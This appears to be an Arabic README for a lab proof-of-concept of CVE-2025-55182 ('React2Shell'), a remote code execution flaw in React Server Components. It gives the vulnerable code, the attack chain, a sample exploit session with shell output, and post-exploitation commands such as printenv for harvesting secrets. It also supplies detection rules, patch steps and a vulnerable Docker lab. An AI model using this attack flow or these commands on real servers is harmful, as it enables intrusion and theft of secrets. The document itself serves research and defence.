function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  return moduleExports[metadata[2]];  // VULNERABLE LINE - Prototype chain traversal
}

┌─────────────────────────────────────────────────────────────┐
│  يرسل المهاجم بيانات نموذج متعددة الأجزاء مع رأس Next-Action │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يقوم الخادم بإزالة تسلسل الحمولة عبر بروتوكول React Flight │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  تتم معالجة كائن قطعة مزيف مع تلوث __proto__               │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يستدعي معالج Blob الدالة _formData.get(_prefix + id)      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يحل إلى Function("malicious_code")                         │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يتم تنفيذ تعليمات برمجية عشوائية بصلاحيات عملية Node.js   │
└─────────────────────────────────────────────────────────────┘

# استنساخ المستودع
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc

# تثبيت التبعيات
pip install -r requirements.txt

# جعل السكربت قابلاً للتنفيذ (لينكس/ماك)
chmod +x react2shell.py

requests>=2.31.0
urllib3>=2.0.0

python3 react2shell.py

╔═══════════════════════════════════════════════════════════╗
║           React2Shell (CVE-2025-55182) PoC                ║
║                 CVSS 10.0 - Critical RCE                  ║
║                                                           ║
║  المتأثر: React 19.0.0, 19.1.0, 19.1.1, 19.2.0          ║
║           Next.js ≥14.3.0-canary.77, 15.x, 16.x          ║
║                                                           ║
║  Cerberus Secure - للاستخدام المختبري فقط                ║
╚═══════════════════════════════════════════════════════════╝

[?] أدخل معلومات الهدف:
    Host (مثل localhost أو 192.168.1.100): localhost
    Port (مثل 3000): 3000

[React2Shell]> id
[*] الهدف: http://localhost:3000/
[*] الأمر: id
[*] بناء حمولة الاستغلال...
[*] إرسال طلب الاستغلال...
[+] رمز حالة الاستجابة: 200
[*] تحليل الاستجابة...

╔═══════════════════════════════════════════════════════════╗
║                    مخرجات الأمر                           ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)

[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit

# استطلاع النظام
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release

# استكشاف نظام الملفات
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json

# متغيرات البيئة (غالبًا تحتوي على أسرار)
[React2Shell]> printenv
[React2Shell]> echo $PATH

# معلومات الشبكة
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn

alert http any any -> $LAN_NETWORK any (
    msg:"محاولة محتملة لـ Next.js React2Shell / CVE-2025-55182";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

{
  "queries": {
    "detect_react2shell_vulnerable_packages": {
      "query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
      "interval": 3600,
      "description": "يكتشف الإصدارات الضعيفة من حزم مكونات React Server المتأثرة بـ CVE-2025-55182",
      "platform": "linux,windows,macos",
      "version": "1.0"
    }
  }
}

- طلبات HTTP POST مع رأس "Next-Action"
- طلبات غير عادية متعددة الأجزاء إلى جذر التطبيق
- رسائل خطأ تحتوي على "NEXT_REDIRECT" بقيم digest غير متوقعة
- ارتفاع في أخطاء 500 مع تتبعات مكدس متعلقة بـ React
- استحداث عمليات فرعية من Node.js (execSync, spawn, exec)

# التحقق من الإصدارات الحالية
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

# تحديث React إلى الإصدار المصحح
npm install [email protected] [email protected]

# تحديث Next.js إلى أحدث إصدار مصحح
npm install next@latest

# التحقق من التحديثات
npm list react react-dom next

# مسح ذاكرة التخزين المؤقت وإعادة البناء
rm -rf .next node_modules package-lock.json
npm install
npm run build

- الطلبات التي تحتوي على رأس "Next-Action" من مصادر غير موثوقة
- بيانات نموذج متعددة الأجزاء بهياكل JSON مشبوهة
- الطلبات المطابقة لأنماط توقيع الاستغلال

# مثال على سير عمل GitHub Actions
name: الفحص الأمني
on: [push, pull_request]

jobs:
  dependency-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: التحقق من وجود حزم React ضعيفة
        run: |
          npm audit --audit-level=critical
          npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

# إنشاء تطبيق Next.js جديد بإصدار ضعيف
npx [email protected] vulnerable-app
cd vulnerable-app

# تثبيت إصدار React ضعيف
npm install [email protected] [email protected]

# بدء خادم التطوير
npm run dev

FROM node:18-alpine

WORKDIR /app

# إنشاء تطبيق Next.js أساسي
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir

WORKDIR /app/vulnerable-app

# تثبيت إصدارات React الضعيفة
RUN npm install [email protected] [email protected]

EXPOSE 3000

CMD ["npm", "run", "dev"]

docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab

version: '3.8'
services:
  vulnerable-app:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=development
    volumes:
      - ./app:/app/vulnerable-app

docker-compose up -d

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit_payload.txt